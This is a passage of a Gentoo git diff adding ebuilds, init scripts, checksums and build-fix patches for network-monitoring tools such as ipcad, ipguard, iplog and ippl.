+ "${FILESDIR}"/${P}-postfix.patch
+
+ tc-export CC
+}
+
+src_install() {
+ dobin ipband
+ doman ipband.8
+ dodoc CHANGELOG README
+
+ newinitd "${FILESDIR}"/ipband-init ipband
+
+ insinto /etc/
+ newins ipband.sample.conf ipband.conf
+}
diff --git a/net-analyzer/ipband/metadata.xml b/net-analyzer/ipband/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ipband/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ipcad/Manifest b/net-analyzer/ipcad/Manifest
new file mode 100644
index 000000000000..daa4de71f57f
--- /dev/null
+++ b/net-analyzer/ipcad/Manifest
@@ -0,0 +1 @@
+DIST ipcad-3.7.3.tar.gz 172457 SHA256 72372d46ae35e4d7cc74d96fbaf8bb0ae189aa9ecfd89026487aca790c2f0716 SHA512 a25a2551bd88727c20f969b780e09d2776bf1fe4f684b0a7a6e571bb7b5684743ade0571b7993849b65c58def4550aa88bcb52a91d5cc6c21e562627fb3b80b6 WHIRLPOOL 17f8d9f7d04dd84f83f0910c64b5c4a1aee475bbe79fe058b6ecdab0efe12fe4e04c50aff039fb9c1fa018a0ebe9acbd921f89f47707778e8d3fe625e552144d
diff --git a/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.27.patch b/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.27.patch
new file mode 100644
index 000000000000..3b21efb4ff4e
--- /dev/null
+++ b/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.27.patch
@@ -0,0 +1,21 @@
+--- a/configure.in
++++ b/configure.in
+@@ -156,6 +156,7 @@
+ ])
+
+ AC_CHECK_HEADERS(asm/types.h)
++AC_CHECK_HEADERS(linux/in.h)
+ AC_CHECK_HEADERS(linux/socket.h)
+ AC_CHECK_HEADERS(linux/netlink.h,,,
+ [#ifdef HAVE_LINUX_SOCKET_H
+@@ -164,6 +165,9 @@
+ AC_CHECK_HEADERS(linux/netfilter.h,,,
+ [#ifdef HAVE_LINUX_SOCKET_H
+ #include <linux/socket.h>
++#endif
++#ifdef HAVE_LINUX_IN_H
++#include <linux/in.h>
+ #endif])
+
+ AC_CHECK_HEADERS(linux/if.h,,,
+
diff --git a/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.35.patch b/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.35.patch
new file mode 100644
index 000000000000..84cc52da6bfb
--- /dev/null
+++ b/net-analyzer/ipcad/files/ipcad-3.7-linux-2.6.35.patch
@@ -0,0 +1,43 @@
+Author: Peter Volkov <pva@gentoo.org>
+Fixes: https://bugs.gentoo.org/show_bug.cgi?id=335592
+
+i686-pc-linux-gnu-gcc -DIPCAD_VERSION=\"3.7.2\" -DCONFIG_FILE=\"/etc/ipcad.conf\" -DHAVE_CONFIG_H -D_REENTRANT -D_THREAD_SAFE -DPSRC_pcap -DIFST_linux -O2 -pipe -O2 -pipe -I/usr/local/include -DHAVE_CONFIG_H -W -Wall -o dump.o -c dump.c
+In file included from ipcad.h:33:0,
+ from disp.c:29:
+ psrc.h:93:23: error: field ‘peer’ has incomplete type
+
+--- a/configure.in
++++ b/configure.in
+@@ -155,17 +155,29 @@
+ #endif
+ ])
+
+-AC_CHECK_HEADERS(asm/types.h)
+-AC_CHECK_HEADERS(linux/in.h)
++AC_CHECK_HEADERS(asm/types.h sys/socket.h)
++AC_CHECK_HEADERS(linux/in.h linux/in6.h,,,
++[#ifdef HAVE_SYS_SOCKET_H
++#include <sys/socket.h>
++#endif])
+ AC_CHECK_HEADERS(linux/socket.h)
+ AC_CHECK_HEADERS(linux/netlink.h,,,
+ [#ifdef HAVE_LINUX_SOCKET_H
+ #include <linux/socket.h>
++#endif
++#ifdef HAVE_SYS_SOCKET_H
++#include <sys/socket.h>
+ #endif])
+ AC_CHECK_HEADERS(linux/netfilter.h,,,
+ [#ifdef HAVE_LINUX_SOCKET_H
+ #include <linux/socket.h>
+ #endif
++#ifdef HAVE_SYS_SOCKET_H
++#include <sys/socket.h>
++#endif
++#ifdef HAVE_LINUX_IN6_H
++#include <linux/in6.h>
++#endif
+ #ifdef HAVE_LINUX_IN_H
+ #include <linux/in.h>
+ #endif])
+
diff --git a/net-analyzer/ipcad/files/ipcad-3.7.3-signal_h.patch b/net-analyzer/ipcad/files/ipcad-3.7.3-signal_h.patch
new file mode 100644
index 000000000000..83d0a35e01fc
--- /dev/null
+++ b/net-analyzer/ipcad/files/ipcad-3.7.3-signal_h.patch
@@ -0,0 +1,32 @@
+--- a/main.c
++++ b/main.c
+@@ -26,6 +26,8 @@
+ * $Id$
+ */
+
++#include <signal.h> /* signal */
++
+ #include "ipcad.h"
+ #include "cfgvar.h"
+ #include "servers.h"
+--- a/pps.c
++++ b/pps.c
+@@ -26,6 +26,7 @@
+ * $Id$
+ */
+
++#include <signal.h> /* sigprocmask */
+
+ #include "ipcad.h"
+ #include "opt.h"
+--- a/servers.c
++++ b/servers.c
+@@ -26,6 +26,8 @@
+ * $Id$
+ */
+
++#include <signal.h> /* pthread_kill and sigprocmask */
++
+ #include "ipcad.h"
+ #include "servers.h"
+ #include "opt.h"
diff --git a/net-analyzer/ipcad/files/ipcad.conf.d b/net-analyzer/ipcad/files/ipcad.conf.d
new file mode 100644
index 000000000000..acdedbfc1242
--- /dev/null
+++ b/net-analyzer/ipcad/files/ipcad.conf.d
@@ -0,0 +1,10 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Config file for /etc/init.d/ipcad
+
+# Any extra options you want to pass to ipcad
+# on start-up should be put here.
+# Read tables on startup (-r), daemonize (-d), and save tables on exit (-s).
+IPCAD_OPTS="-rds"
diff --git a/net-analyzer/ipcad/files/ipcad.init b/net-analyzer/ipcad/files/ipcad.init
new file mode 100644
index 000000000000..ba3a88e712e7
--- /dev/null
+++ b/net-analyzer/ipcad/files/ipcad.init
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -f /etc/ipcad.conf ] ; then
+ eerror "No /etc/ipcad.conf file exists!"
+ return 1
+ fi
+
+ `egrep -v "(^#|^$)" /etc/ipcad.conf | grep interface > /dev/null 2>&1` || {
+ eerror "Please, configure at least one interface in /etc/ipcad.conf." ;
+ return 1 ;
+ }
+
+ return 0
+}
+
+start() {
+ # Comment out the following line to get faster startups
+ checkconfig || return 1
+
+ ebegin "Starting ipcad"
+ start-stop-daemon --start --pidfile=/var/ipcad/run/ipcad.pid --exec /usr/sbin/ipcad -- ${IPCAD_OPTS}
+ eend $?
+}
+
+stop () {
+ ebegin "Stopping ipcad"
+ start-stop-daemon --stop --pidfile=/var/ipcad/run/ipcad.pid --exec /usr/sbin/ipcad --retry 20
+ eend $?
+}
diff --git a/net-analyzer/ipcad/ipcad-3.7.3.ebuild b/net-analyzer/ipcad/ipcad-3.7.3.ebuild
new file mode 100644
index 000000000000..3ac9d9af617a
--- /dev/null
+++ b/net-analyzer/ipcad/ipcad-3.7.3.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="IP Cisco Accounting Daemon"
+HOMEPAGE="http://sourceforge.net/projects/ipcad/ http://lionet.info/ipcad/"
+SRC_URI="mirror://sourceforge/ipcad/${P}.tar.gz"
+
+LICENSE="BSD-2 GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+RDEPEND="
+ net-libs/libpcap
+ net-firewall/iptables
+"
+DEPEND="${RDEPEND}"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-3.7-linux-2.6.27.patch \
+ "${FILESDIR}"/${PN}-3.7-linux-2.6.35.patch \
+ "${FILESDIR}"/${P}-signal_h.patch
+
+ sed -i \
+ -e "s|^chroot = /adm/tmp;|chroot = /var/ipcad;|" \
+ -e "s|^interface|#&|" \
+ -e "s|^aggregate|#&|" \
+ -e "s|^pidfile = ipcad.pid;|pidfile = /run/ipcad.pid;|" \
+ ipcad.conf.default || die
+
+ eautoreconf
+}
+
+src_install() {
+ dodoc AUTHORS ChangeLog README BUGS FAQ ipcad.conf.simple ipcad.conf.default
+
+ dosbin ipcad
+
+ insinto /etc
+ insopts -m0600
+ newins ipcad.conf.default ipcad.conf
+
+ keepdir /var/ipcad/run
+
+ doman ipcad.8 ipcad.conf.5
+
+ newinitd "${FILESDIR}"/ipcad.init ipcad
+ newconfd "${FILESDIR}"/ipcad.conf.d ipcad
+}
diff --git a/net-analyzer/ipcad/metadata.xml b/net-analyzer/ipcad/metadata.xml
new file mode 100644
index 000000000000..a40109394b5d
--- /dev/null
+++ b/net-analyzer/ipcad/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>IP Cisco Accounting Daemon</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ipcad</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ipgen/ipgen-9999.ebuild b/net-analyzer/ipgen/ipgen-9999.ebuild
new file mode 100644
index 000000000000..d03f8ca0cb25
--- /dev/null
+++ b/net-analyzer/ipgen/ipgen-9999.ebuild
@@ -0,0 +1,18 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools git-r3
+
+DESCRIPTION="Generate list of IP addresses from a network specification"
+HOMEPAGE="http://www.nta-monitor.com/tools-resources/security-tools/ipgen https://github.com/royhills/ipgen"
+EGIT_REPO_URI="https://github.com/royhills/ipgen"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+
+src_prepare() {
+ eautoreconf
+}
diff --git a/net-analyzer/ipgen/metadata.xml b/net-analyzer/ipgen/metadata.xml
new file mode 100644
index 000000000000..3357a1796441
--- /dev/null
+++ b/net-analyzer/ipgen/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">royhills/ipgen</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ipguard/Manifest b/net-analyzer/ipguard/Manifest
new file mode 100644
index 000000000000..0068522ca939
--- /dev/null
+++ b/net-analyzer/ipguard/Manifest
@@ -0,0 +1 @@
+DIST ipguard-1.04.tar.gz 24566 SHA256 95bf97ae2c58827e34d40daa7065c5107d39a67eb92e2164f7758846f43c41fe SHA512 c29c3f594e09ad1c06ca7297f794ddfada48da7ec2b98786694cd6af7508cbff232889e0c90718d96519297870b93132b7b0f9f310a0e4d7a7c2d54a30ca893c WHIRLPOOL 2536d29f074fbb940dc5d8b828f1742d2712b8cbebb5374a271d7a7c2c0540642a6fc511ddbd179211ae78568e86504a6a418f6257cbbdabc01b6134187a2ab7
diff --git a/net-analyzer/ipguard/files/ipguard.confd b/net-analyzer/ipguard/files/ipguard.confd
new file mode 100644
index 000000000000..fc7fb66cd46c
--- /dev/null
+++ b/net-analyzer/ipguard/files/ipguard.confd
@@ -0,0 +1,8 @@
+# ipguard configuration file
+
+# IFACE - the name of the network interface you want to monitor
+# IFACE=eth0
+IFACE=eth0
+
+# OPTS - command line options (see ipguard(8)
+OPTS="-u 300 -xz -r"
diff --git a/net-analyzer/ipguard/ipguard-1.04.ebuild b/net-analyzer/ipguard/ipguard-1.04.ebuild
new file mode 100644
index 000000000000..37f7f7f0afbc
--- /dev/null
+++ b/net-analyzer/ipguard/ipguard-1.04.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="Tool designed to protect LAN IP adress space by ARP spoofing"
+HOMEPAGE="http://ipguard.deep.perm.ru/"
+SRC_URI="${HOMEPAGE}files/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+DEPEND="
+ net-libs/libnet
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ sed -i \
+ -e 's|-g ||g' \
+ -e 's| @$(CC)| $(CC)|g' \
+ -e 's| -s | |g' \
+ -e 's| -o | $(CFLAGS) $(LDFLAGS)&|g' \
+ -e 's|$(PREFIX)|${D}&|g' \
+ -e 's|/man/|/share&|g' \
+ Makefile || die
+ sed -i \
+ -e 's|opts=|extra_commands=|g' \
+ -e 's|/var/run/|/run/|g' \
+ -e 's|-u 300 -xz|${OPTS} ${IFACE}|g' \
+ doc/${PN}.gentoo || die
+ sed -i \
+ -e 's|/var/run/|/run/|g' \
+ doc/${PN}.8 ${PN}.h || die
+}
+
+src_compile() {
+ emake LIBNET_CONFIG=libnet-config CC=$(tc-getCC) PREFIX=\"${EPREFIX:-/usr}\"
+}
+
+src_install() {
+ emake LIBNET_CONFIG=libnet-config DESTDIR="${D}" PREFIX=\"${EPREFIX:-/usr}\" install
+ newinitd doc/${PN}.gentoo ${PN}
+ newconfd "${FILESDIR}"/${PN}.confd ${PN}
+ dodoc doc/{NEWS,README*,ethers.sample}
+}
diff --git a/net-analyzer/ipguard/metadata.xml b/net-analyzer/ipguard/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ipguard/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/iplog/Manifest b/net-analyzer/iplog/Manifest
new file mode 100644
index 000000000000..60ce72b0e0d9
--- /dev/null
+++ b/net-analyzer/iplog/Manifest
@@ -0,0 +1 @@
+DIST iplog-2.2.3.tar.gz 133639 SHA256 cc3da7b6f360ff25455e5ae7c95d7377de332deb23f6dcb5c1ea11e563702fff SHA512 d7669e39b728af366b5199c58d396c6907496b4895ffb1ba0cba54fae0646f9792170f932de1eae9634b5ac356644a5d6d0ccaf7bc77a62641695992245c9aed WHIRLPOOL c654eb286f494c99d3608ac8fe363d441a242a40b6fad45df9e515ace478a0045c35f3704cc70d3320ea0b280f1d6f82d45ff858a232e4a2020d2a49b72b5a18
diff --git a/net-analyzer/iplog/files/2.2.3-DLT_LINUX_SSL.patch b/net-analyzer/iplog/files/2.2.3-DLT_LINUX_SSL.patch
new file mode 100644
index 000000000000..84a447af4f9f
--- /dev/null
+++ b/net-analyzer/iplog/files/2.2.3-DLT_LINUX_SSL.patch
@@ -0,0 +1,134 @@
+--- a/src/iplog_options.c
++++ b/src/iplog_options.c
+@@ -440,58 +440,58 @@
+
+ static void print_help(void) {
+ mysyslog(
+-"Usage: " PACKAGE " [options] (\"*\" Denotes enabled by default)
+---user or -u <user|UID> Run as specified the user or UID.
+---group or -g <group|GID> Run with specified the group or GID.
+---logfile or -l <file> Log to <file>.
+---pid-file <file> Use <file> as the pid file.
+---ignore or -d Ignore DNS traffic from nameservers listed in
+- /etc/resolv.conf.
+---interface or -i <if0,...,ifN> Listen on the specified interface(s).
+---promisc or -a <network> Log traffic to all hosts on <network>.
+---kill or -k Kill iplog, if it is running.
+---restart or -R Restart iplog, if it is running.
+---no-fork or -o Run in the foreground.
+---stdout or -L Log to stdout.
+---help or -h This help screen.
+---version or -v Print version information and exit.
+-
+---facility <facility> Use the specified syslog facility.
+---priority <priority> Use the specified syslog priority.
+-
+---tcp[=true|false|toggle] %cLog TCP traffic.
+---udp[=true|false|toggle] %cLog UDP traffic.
+---icmp[=true|false|toggle] %cLog ICMP traffic.
+-
+---log-ip[=true|false|toggle] or -w %cLog IP along with hostname.
+---log-dest[=true|false|toggle] or -D %cLog the destination of traffic.
+---dns-cache[=true|false|toggle] or -c %cUse the built-in DNS cache.
+---get-ident[=true|false|toggle] or -e %cGet ident info on connections
+- to listening ports.
+-
+---tcp-resolve[=true|false|toggle] or -T %cResolve IPs of TCP traffic.
+---udp-resolve[=true|false|toggle] or -U %cResolve IPs of UDP traffic.
+---icmp-resolve[=true|false|toggle] or -I %cResolve IPs of ICMP traffic.
+---disable-resolver or -N %cDo not resolve any IPs.
+-
+---verbose[=true|false|toggle] or -V %cBe verbose.
+---fool-nmap[=true|false|toggle] or -z %cFool nmap's OS detection.
+---scans-only[=true|false|toggle] or -m %cOnly log scans.
+---detect-syn-flood[=true|false|toggle] or -s %cStop resolving IPs if a
+- SYN flood is detected.
+-
+---log-frag[=true|false|toggle] or -y %cLog fragment attacks.
+---log-traceroute[=true|false|toggle] or -t %cLog traceroutes.
+---log-ping-flood[=true|false|toggle] or -P %cLog ICMP ping floods.
+---log-smurf[=true|false|toggle] or -S %cLog smurf attacks.
+---log-bogus[=true|false|toggle] or -b %cLog bogus TCP flags.
+---log-portscan[=true|false|toggle] or -p %cLog port scans.
+---log-udp-scan[=true|false|toggle] or -F %cLog UDP scans/floods.
+---log-fin-scan[=true|false|toggle] or -f %cLog FIN scans.
+---log-syn-scan[=true|false|toggle] or -q %cLog SYN scans.
+---log-xmas-scan[=true|false|toggle] or -x %cLog Xmas scans.
+---log-null-scan[=true|false|toggle] or -n %cLog null scans.",
+-IS_DEFAULT(LOG_TCP), IS_DEFAULT(LOG_UDP), IS_DEFAULT(LOG_ICMP),
++"Usage: %s [options] (\"*\" Denotes enabled by default)\n"
++"--user or -u <user|UID> Run as specified the user or UID.\n"
++"--group or -g <group|GID> Run with specified the group or GID.\n"
++"--logfile or -l <file> Log to <file>.\n"
++"--pid-file <file> Use <file> as the pid file.\n"
++"--ignore or -d Ignore DNS traffic from nameservers listed in\n"
++" /etc/resolv.conf.\n"
++"--interface or -i <if0,...,ifN> Listen on the specified interface(s).\n"
++"--promisc or -a <network> Log traffic to all hosts on <network>.\n"
++"--kill or -k Kill iplog, if it is running.\n"
++"--restart or -R Restart iplog, if it is running.\n"
++"--no-fork or -o Run in the foreground.\n"
++"--stdout or -L Log to stdout.\n"
++"--help or -h This help screen.\n"
++"--version or -v Print version information and exit.\n"
++"\n"
++"--facility <facility> Use the specified syslog facility.\n"
++"--priority <priority> Use the specified syslog priority.\n"
++"\n"
++"--tcp[=true|false|toggle] %cLog TCP traffic.\n"
++"--udp[=true|false|toggle] %cLog UDP traffic.\n"
++"--icmp[=true|false|toggle] %cLog ICMP traffic.\n"
++"\n"
++"--log-ip[=true|false|toggle] or -w %cLog IP along with hostname.\n"
++"--log-dest[=true|false|toggle] or -D %cLog the destination of traffic.\n"
++"--dns-cache[=true|false|toggle] or -c %cUse the built-in DNS cache.\n"
++"--get-ident[=true|false|toggle] or -e %cGet ident info on connections\n"
++" to listening ports.\n"
++"\n"
++"--tcp-resolve[=true|false|toggle] or -T %cResolve IPs of TCP traffic.\n"
++"--udp-resolve[=true|false|toggle] or -U %cResolve IPs of UDP traffic.\n"
++"--icmp-resolve[=true|false|toggle] or -I %cResolve IPs of ICMP traffic.\n"
++"--disable-resolver or -N %cDo not resolve any IPs.\n"
++"\n"
++"--verbose[=true|false|toggle] or -V %cBe verbose.\n"
++"--fool-nmap[=true|false|toggle] or -z %cFool nmap's OS detection.\n"
++"--scans-only[=true|false|toggle] or -m %cOnly log scans.\n"
++"--detect-syn-flood[=true|false|toggle] or -s %cStop resolving IPs if a\n"
++" SYN flood is detected.\n"
++"\n"
++"--log-frag[=true|false|toggle] or -y %cLog fragment attacks.\n"
++"--log-traceroute[=true|false|toggle] or -t %cLog traceroutes.\n"
++"--log-ping-flood[=true|false|toggle] or -P %cLog ICMP ping floods.\n"
++"--log-smurf[=true|false|toggle] or -S %cLog smurf attacks.\n"
++"--log-bogus[=true|false|toggle] or -b %cLog bogus TCP flags.\n"
++"--log-portscan[=true|false|toggle] or -p %cLog port scans.\n"
++"--log-udp-scan[=true|false|toggle] or -F %cLog UDP scans/floods.\n"
++"--log-fin-scan[=true|false|toggle] or -f %cLog FIN scans.\n"
++"--log-syn-scan[=true|false|toggle] or -q %cLog SYN scans.\n"
++"--log-xmas-scan[=true|false|toggle] or -x %cLog Xmas scans.\n"
++"--log-null-scan[=true|false|toggle] or -n %cLog null scans.",
++PACKAGE, IS_DEFAULT(LOG_TCP), IS_DEFAULT(LOG_UDP), IS_DEFAULT(LOG_ICMP),
+ IS_DEFAULT(LOG_IP), IS_DEFAULT(LOG_DEST), IS_DEFAULT(DNS_CACHE),
+ IS_DEFAULT(GET_IDENT), IS_DEFAULT(TCP_RES), IS_DEFAULT(UDP_RES),
+ IS_DEFAULT(ICMP_RES), IS_DEFAULT(NO_RESOLV), IS_DEFAULT(VERBOSE),
+--- a/src/iplog_pcap.c
++++ b/src/iplog_pcap.c
+@@ -189,8 +189,16 @@
+ case DLT_PPP_BSDOS:
+ dlt = 24;
+ break;
+- case DLT_SLIP:
+- dlt = 16;
++#ifdef DLT_FDDI
++ case DLT_FDDI:
++ dlt = 21;
++ break;
++#endif
++ case DLT_SLIP:
++#ifdef DLT_LINUX_SLL
++ case DLT_LINUX_SLL:
++#endif
++ dlt = 16;
+ break;
+ case DLT_PPP:
+ case DLT_NULL:
diff --git a/net-analyzer/iplog/files/iplog.rc6 b/net-analyzer/iplog/files/iplog.rc6
new file mode 100644
index 000000000000..3656d32f0479
--- /dev/null
+++ b/net-analyzer/iplog/files/iplog.rc6
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+pidfile=/var/run/iplog.pid
+
+start() {
+ ebegin "Starting iplog"
+ checkconfig
+ rc=$?
+ if [ $rc -eq 0 ]; then
+ start-stop-daemon --start --quiet --startas /usr/sbin/iplog \
+ --pidfile=${pidfile} --name=iplog
+ rc=$?
+ eend $rc "Failed to start iplog $rc"
+ else
+ eend $rc "/etc/iplog.conf does not exist!"
+ fi
+}
+
+stop() {
+ ebegin "Stopping iplog"
+ start-stop-daemon --stop --retry=5 --quiet --pidfile=${pidfile} --name=iplog
+ # due to a bug in the program, it doesn't properly remove it's pidfile sometimes
+ rm -f ${pidfile}
+ eend $? "Failed to stop iplog!"
+}
+
+checkconfig() {
+ [ -f /etc/iplog.conf ] || return 1
+ return 0
+}
diff --git a/net-analyzer/iplog/iplog-2.2.3-r2.ebuild b/net-analyzer/iplog/iplog-2.2.3-r2.ebuild
new file mode 100644
index 000000000000..4bb47dd40553
--- /dev/null
+++ b/net-analyzer/iplog/iplog-2.2.3-r2.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="iplog is a TCP/IP traffic logger"
+HOMEPAGE="http://ojnk.sourceforge.net/"
+SRC_URI="mirror://sourceforge/ojnk/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 FDL-1.1 )"
+SLOT="0"
+KEYWORDS="alpha ~mips ppc sparc x86 ~amd64"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PV}-DLT_LINUX_SSL.patch
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS} -D_REENTRANT" all
+}
+
+src_install() {
+ emake \
+ prefix="${D}"/usr \
+ mandir="${D}"/usr/share/man \
+ install
+
+ dodoc AUTHORS NEWS README TODO example-iplog.conf
+
+ newinitd "${FILESDIR}"/iplog.rc6 iplog
+}
diff --git a/net-analyzer/iplog/metadata.xml b/net-analyzer/iplog/metadata.xml
new file mode 100644
index 000000000000..29e17cd93056
--- /dev/null
+++ b/net-analyzer/iplog/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>iplog is a TCP/IP traffic logger</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ojnk</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ippl/Manifest b/net-analyzer/ippl/Manifest
new file mode 100644
index 000000000000..ca3f0733b6ca
--- /dev/null
+++ b/net-analyzer/ippl/Manifest
@@ -0,0 +1 @@
+DIST ippl-1.4.14.tar.gz 54030 SHA256 e1808c65e498036de2529d053dbaa95ba3f6821e2c7196d4dcbb5039489cfeb4 SHA512 3d71afc3ec7a0420cc9b269bf67dc008a777464c68d233dfbad4ee7a2dd2b960e114500e42866977e31b9dbeee26bbefea937fef8a09aa41cf87f96361ba0088 WHIRLPOOL aeab98a00d31583f19d4c98839f8eef4adbb263e274df2cd4065910e8a05d19e432be235de378e4039abc8465ff4fe8c11fcae1e95aa4e5dd34565acd4169c2a
diff --git a/net-analyzer/ippl/files/ippl-1.4.14-format-warnings.patch b/net-analyzer/ippl/files/ippl-1.4.14-format-warnings.patch
new file mode 100644
index 000000000000..db6cfcd7e1d0
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl-1.4.14-format-warnings.patch
@@ -0,0 +1,20 @@
+--- a/Source/log.c
++++ b/Source/log.c
+@@ -147,7 +147,7 @@
+ }
+
+ if (repeats > 0) {
+- snprintf(date, 27, asctime(localtime(&last_repeat)));
++ snprintf(date, 27, "%s", asctime(localtime(&last_repeat)));
+ snprintf(repeat_message, 40, "last message repeated %d time(s)\n", repeats);
+ write(fd, date+4, strlen(date)-10);
+ write(fd, " ", 1);
+@@ -155,7 +155,7 @@
+ repeats = 0;
+ }
+
+- snprintf(date, 27, asctime(localtime(&current)));
++ snprintf(date, 27, "%s", asctime(localtime(&current)));
+ write(fd, date+4, strlen(date)-10);
+ write(fd, " ", 1);
+ write(fd, entry, (strlen(entry) < 1023) ? strlen(entry) : 1023 );
diff --git a/net-analyzer/ippl/files/ippl-1.4.14-includes.patch b/net-analyzer/ippl/files/ippl-1.4.14-includes.patch
new file mode 100644
index 000000000000..12b2832fa342
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl-1.4.14-includes.patch
@@ -0,0 +1,20 @@
+--- a/Source/filter.c
++++ b/Source/filter.c
+@@ -22,6 +22,7 @@
+
+ #include <stdlib.h>
+ #include <ctype.h>
++#include <string.h> /* memcpy() */
+
+ #include <fnmatch.h>
+
+--- a/Source/main.c
++++ b/Source/main.c
+@@ -37,6 +37,7 @@
+ #include <pwd.h>
+ #include <stdlib.h>
+ #include <getopt.h>
++#include <grp.h> /* initgroups() */
+
+ #include "defines.h"
+ #include "configuration.h"
diff --git a/net-analyzer/ippl/files/ippl-1.4.14-manpage.patch b/net-analyzer/ippl/files/ippl-1.4.14-manpage.patch
new file mode 100644
index 000000000000..d17e5939cdee
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl-1.4.14-manpage.patch
@@ -0,0 +1,15 @@
+patch by Marc Haber <mh+debian-packages@zugschlus.de>
+
+--- a/Docs/ippl.conf.man
++++ b/Docs/ippl.conf.man
+@@ -222,9 +222,7 @@
+ .SS Protocol
+ .PP
+ protocol is one of the supported protocols (see the protocols
+-section), except the
+-.I all
+-keyword, which is not supported.
++section).
+
+ .SS Description
+ .PP
diff --git a/net-analyzer/ippl/files/ippl-1.4.14-noportresolve.patch b/net-analyzer/ippl/files/ippl-1.4.14-noportresolve.patch
new file mode 100644
index 000000000000..919623040f7f
--- /dev/null
+++ b/net-analyzer/ippl/files/ippl-1.4.14-noportresolve.patch
@@ -0,0 +1,347 @@
+patch by Marc Haber <mh+debian-packages@zugschlus.de>
+
+--- a/Docs/ippl.conf.man
++++ b/Docs/ippl.conf.man
+@@ -92,6 +92,13 @@
+ .PP
+ By default, IP address resolution is disabled for all the protocols.
+
++Ippl by default resolves tcp/udp port numbers to their respective
++service names. If you pass a protocol to the noportresolve option,
++ippl logs the port number instead. This is a Debian specific extension.
++
++By default service resolving is enabled, since this is the behaviour
++of the upstream program.
++
+ .SH LOGGING FORMAT
+
+ .BR ippl
+@@ -198,6 +205,12 @@
+ .I noresolve
+ disable IP address resolution.
+ .PP
++.I portresolve
++enable IP service resolution.
++.PP
++.I noportresolve
++disable IP service resolution.
++.PP
+ .I ident
+ use ident logging (only for TCP).
+ .PP
+
+--- a/Source/configuration.c
++++ b/Source/configuration.c
+@@ -60,6 +60,7 @@
+ extern unsigned int dns_expire;
+ extern unsigned short log_protocols;
+ extern unsigned short resolve_protocols;
++ extern unsigned short portresolve_protocols;
+ extern unsigned short icmp_format;
+ extern unsigned short tcp_format;
+ extern unsigned short udp_format;
+@@ -71,6 +72,7 @@
+ dns_expire = DNS_EXPIRE;
+ log_protocols = NONE;
+ resolve_protocols = 0; /* Do not resolve by default */
++ portresolve_protocols = RUN_TCP | RUN_UDP | RUN_ICMP; /* Resolve by default */
+ icmp_format = LOGFORMAT_NORMAL;
+ tcp_format = LOGFORMAT_NORMAL;
+ udp_format = LOGFORMAT_NORMAL;
+
+--- a/Source/filter.c
++++ b/Source/filter.c
+@@ -46,6 +46,7 @@
